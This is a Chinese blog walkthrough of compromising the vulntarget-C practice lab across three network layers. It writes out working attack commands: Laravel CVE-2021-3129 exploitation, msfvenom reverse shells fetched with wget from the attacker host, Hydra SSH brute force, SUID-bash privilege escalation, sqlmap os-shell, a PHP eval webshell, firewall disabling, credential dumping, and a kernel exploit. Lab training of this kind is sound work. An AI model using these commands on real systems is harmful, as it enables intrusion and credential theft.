本文最后更新于:2023年8月18日 下午
vulntarget-C靶场复现
靶场相关信息
实验目标:拿取Ubuntu 16主机的Flag信息
学习目标:Laravel/OVAS-PHP漏洞/隧道代理/免杀/提权/CVE-2021-3129/CVE-2021-3493等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #攻击机 OS:KaliNIC: 192.168 .172 .129 #Ubuntu-Server OS: Ubuntu 20 Server: Laravel 8.4 .2 userpass: root/root#qwe userpass: vulntarget/rootNIC1: 192.168 .172 .110 -->nat模式,桥接不好使NIC2: 10.0 .20 .141 -->仅主机模式网卡#Wins16-Server OS: Windows server 2016 Server: OVAS-PHP CMS userpass:administrator:Admin#123 NIC1: 10.0 .20 .100 -->仅主机模式网卡NIC2: 10.0 .10 .139 -->仅主机模式网卡#Ubuntu16-Server OS: Ubuntu 16 userpass:vulntarget:Admin#123 NIC1:10.0 .10 .110
主机配置
Ubuntu20 配置
先用用户名和密码登录上去
修改/etc/netplan下的网络配置文件,将网络ip改成自己的网段ip
****备注:****Netplan —— 抽象网络配置生成器 ,是一个用于配置 Linux 网络的简单工具
生效
netplan apply
边界主机
信息收集
先nmap探测一下网段环境
已经探测出开放着22端口和80端口,猜测后续可以通过ssh连接,并且开启有http服务。进行进行信息搜集。
探测主机详细信息
1 nmap -sT -A -sV 192.168.172.110
访问一下80端口的http服务
Laravel框架,好,没见过,复现结束。。。😤
不小心看到了版本信息,连上82年的网找找漏洞。
Laravel v8.78.1 (PHP v7.4.3)
最新不过2021的,版本好像也不对啊,死马当活马医😫
Github尝试一下找工具
还真有,看一下readme如何食用😁
https://github.com/SNCKER/CVE-2021-3129
好家伙一个参数没有,估计是写死了,还得改代码,主要是还要另外整gcc估计难搞。
还得下个别的工具,不好使,换一个。
https://github.com/zhzyker/CVE-2021-3129
简单配置试一下
ok一步到胃!一会儿找找源码中id的执行位置,替换成反弹shell的命令。
先用美少妇(MSF)生成一个反向马
1 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.172.129 LPORT=6666 -f elf -o 98.elf
在这个文件夹下用python开个http服务一会儿用工具让靶机下载马子。
1 python3 -m http.server 9090
访问一下,ok了。
老规矩MSF开启监听。
1 2 3 4 5 6 7 8 9 msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.172.129 lhost => 192.168.172.129 msf6 exploit(multi/handler) > set lport 6666 lport => 6666 msf6 exploit(multi/handler) > run
用咱们刚下载的工具找到命令执行的位置(找"id"),将其替换为如下语句:
1 cd /var/www/html/public&&wget http://192.168.172.129:9090/98.elf&&chmod 777 98.elf&&./98.elf
坑:需要先cd /var/www/html/public,不然命令执行位置不在下载木马的位置,无法反弹。
上线!😎😎😎
继续进行信息收集,先看看我是个什么东西。。。
啥也不是!提权!
方法一:
Msf内置后渗透模块
1 run post/multi/recon/local_exploit_suggester
报了一堆错误,玩不了……
方法二:
查看/home目录下用户有哪些。发现存在vulntarget用户尝试使用Hydra进行SSH爆破,获得密码root
1 hydra -l vulntarget -P passwd.txt 192.168.172.110 ssh
直接先登上去再说
1 ssh vulntarget@192.168.172.110
看哪些可以进行权限提升
python3?整!
查看/opt/root.py文件内容。运行脚本会在本地的1025-65535端口上开启一个socket接口且密码是mortals登录成功后根据选项给出响应的回显如果有错误的输入在异常处理处打印异常且调用pdb模块,同时进入到调式模块下在此模块中可导入OS模块来执行系统命令完成提权。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import socketimport randomimport subprocessimport pdb port = random.randint(1025 , 65535 ) try : sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) sock.bind(('127.0.0.1' , port)) sock.listen(1 ) print (f'Listening on localhost:{port} ' ) (clientsock, addr) = sock.accept() clientsock.send(b'Enter the secret passsword: ' ) if clientsock.recv(1024 ).strip().decode() != 'mortals' : clientsock.send(b'Wrong password!\n' ) else : clientsock.send(b'Welcome admin!\n' ) while True : clientsock.send(b'\nWhat do you wanna do: \n' ) clientsock.send(b'[1] View processes\n' ) clientsock.send(b'[2] View free memory\n' ) clientsock.send(b'[3] View listening sockets\n' ) clientsock.send(b'[4] Quit\n' ) option = int (clientsock.recv(1024 ).strip()) if option == 1 : clientsock.send(subprocess.getoutput('ps aux' ).encode()) elif option == 2 : clientsock.send(subprocess.getoutput('df' ).encode()) elif option == 3 : clientsock.send(subprocess.getoutput('ss -lnt' ).encode()) elif option == 4 : clientsock.send(b'Bye\n' ) break except Exception as e: print (e) pdb.post_mortem(e.__traceback__)finally : quit()
在第一个ssh链接上执行脚本文件,另外开启一个ssh链接监听脚本开启的端口并进行错误的输入。
1 2 3 4 5 6 7 SSH1: sudo python3 /opt/root.py SSH2: nc localhost 26676 //这个端口是脚本开启的那个 mortals a
然后执行以下命令:赋予 /bin/bash读写权限并执行。
1 os.system('chmod u+s /bin/bash&&bash -p')
root!斯巴拉西!👍👍👍
还有另外一种方法,这里把bin/bash复制到一个临时文件夹下,然后再给权限,执行,同样也可以提权。
然后再把这个root权限也上线MSF,道理和刚刚一样,我直接用之前的那个马子(当时没想太多,后来想想这端口一样冲突了呀。。。但是好像没啥印影响,后面也没管。。。)
这里面有个小flag
二层内网
边界主机算是拿下了,继续进行信息收集。
用MSF建立路由,让kali可以通过边界主机访问到内网的主机。
1 2 meterpreter> run post/multi/manage/autoroute meterpreter> run autoroute -p
报了一堆错,但是好像还是可以访问到的先不管了。
使用msf的端口扫描模块对内网网端10.0.20.0进行扫描
1 2 3 4 5 use auxiliary/scanner/portscan/tcp set rhost 10.0.20.0/24 set ports 21,22,80,135,139,445,8080 set threads 30 run
发现内网主机10.0.20.100开启80端口,在MSF上架设socks5代理服务器,并是Firefox通过代理访问该站点。
1 2 3 use auxiliary/server/socks_proxyset srvport 1080run
抓个包就断了!?
抓包抓错了,然后在抓发现代理直接断了(msf的代理模块太烂啦)这里直接用frp吧。
先配置一下frp的客户端和服务端配置文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 bind_port = 7100 [common] server_addr = 192.168 .172.129 -->kali地址server_port = 7100 [plugin_socks] type = tcpremote_port = 8971 plugin = socks5
服务端放在kali上运行,客户端通过上传木马的方式上传到目标主机。
1 2 wget http:// 192.168 .172.129 :9090 /frpc.ini wget http:// 192.168 .172.129 :9090 /frpc
给权限什么的就不多说了。
先运行kali上的服务端文件,再运行边界主机上的客户端文件。
1 2 3 ./frps -c frps.ini ./frpc -c frpc.ini
Frp yyds,访问嘎嘎快!!!(记得浏览器配置scoks5代理)
在右上角有Admin Login按钮点击可进入后台登录页面,在此可配置BP的SOCKS5代理进行抓包爆破。
按照以下抓包思路即可抓取是内网站点的HTTP数据包
1 2 3 4 5 6 7 8 9 #代理流程 Browser<--->BurpSuite<--->Socks Proxy Server<--->WebSite #步骤设置1. 开启BurpSuite进入ProjectOptions选中SOCKS Proxy2. 勾选Override user options并且填写Use SOCKS proxy下的host与port为MSF开启的代理地址与端口3. 回到火狐浏览器设置BP代理为HTTP类型的127.0 .0 .1 :8080 与MSF的SOCKS5类型代理4. 先挂MSF的代理访问站点到用户登录界面要抓取的数据包,在挂BP的代理且在BP的Proxy模块开启监听5. 此时已经设置了浏览器的数据走BP,而BP抓到的数据走SOCKS5代理,抓取登陆请求的HTTP数据包... 注:此种方式也可隐藏自身IP地址...
利用用户名和密码登录到后台中去
该OVAS CMS后台存在SQL注入,在此后台页面点击Inquiries–>Action–>View使用BP抓取到数据包且保存到本地文件中
使用SQLMAP对其抓取的HTTP请求包进行SQL注入测试,发现存在SQL注入
1 proxychains4 python3 sqlmap -r insql.txt --batch
老套路
1 2 3 4 sqlmap -r insql.txt --proxy=socks5 ://192.168.172.129 :8971 --batch --is-dba sqlmap -r insql.txt --proxy=socks5 ://192.168.172.129 :8971 --os-shell
system权限,写入一句话木马进行权限维持。
1 echo ^<^?php $a = $_REQUEST ['d' ];$a = "$a " ;$b ['test' ] = "" ;eval ($b ['test' ]."$a " );?^>^ > test.php
访问一下
好像是写入成功了。不确定再看看
配置一下蚁剑的代理
一开始木马地址没搞对,怎么都连不上,我直接把马子写进index页里,然后连。
OK起飞!
进去先把防火墙关了。
1 2 netsh advfirewall show allprofile state //查看防火墙状态 netsh advfirewall set allprofile state off //关闭防火墙
整个正向马用蚁剑上传上去。
1 2 3 4 5 6 7 msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8383 -f exe > insec.exe use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset lport 8383set rhost 10.0.20.100 Run
我去刚上传上去马子就没了?😡
得过Defander啊😱
不会过,夏波!🏃🏃
算了,再试试,找找Dender混淆的文章
一顿操作啥用没有,
莫名其妙(手动关墙)最后终于连上了。
接着信息收集。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 systeminfo ipconfig /all load kiwicreds_all ——> dfc8d2bfa540a0a6e2248a82322e654e Admin#123 run getgui -enetstat -an | findstr 3389 tasklist /svc ——> MsMpEng.exe <=> Windows DefenderOS :Wins16NIC1 :10.0.20.100 /24 NIC2 :10.0.10.139 /24 username :administraotrpassword :Admin#123 RDP Port:3389
也算是拿下,添加路由信息并扫描10.0.10.0网段机器,发现10.0.10.110存活。
1 2 3 4 5 6 7 8 9 run post/multi/manage/autorouterun autoroute -p //查看路由信息use auxiliary/scanner/portscan/tcpset rhosts 10.0.10.0 /24 set ports 22 ,23 ,80 ,443 ,8080 ,445 ,3306 ,6378 ,113 ,114 ,81 ,8000 set threads 30 run
三层内网
使用以上抓取破解出的账户密码远程登录到内网Windows主机上
1 2 3 4 5 vim /etc/proxychains4.confsocks5 127.0.0.1 8971 proxychains4 rdesktop 10.0.20.100 ----》失败,连接出错
开3389端口
1 2 3 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" " Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f netstat -ano | findstr "3389"
直接本地通过SocksCap64代理进行远程连接,成功连接到远程桌面
在下方看到MobaXterm打开后需要输入密码使用本机管理员密码登录成功,且存在一Linux主机为上面扫描出来的内网机器,点开后为vulntarget普通用户登录。
接下来需要提权有两种方法:
方法一:直接通过MobaXterm查看密码,点击上方的Settings按照流程进行点击,需要输入登录用户的密码即:Admin#123
成功获取到10.0.10.110中的用户vulntarget的密码为vuln@qwe,利用sudo进行提权
方法二:根据Linux内核版本尝试提权,将提权项目下载至本地并编译好上传至Wins16在拖进LinuxShell中执行之后即可提权成功…获取Flag
1 2 uname -aLinux ubuntu 4 .4 .0 -186 -generic #216 -Ubuntu SMP Wed Jul 1 05 :34 :05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
项目地址https://github.com/briskets/CVE-2021-3493
1 2 gcc exploit.c -o exploit ./exploit
结束。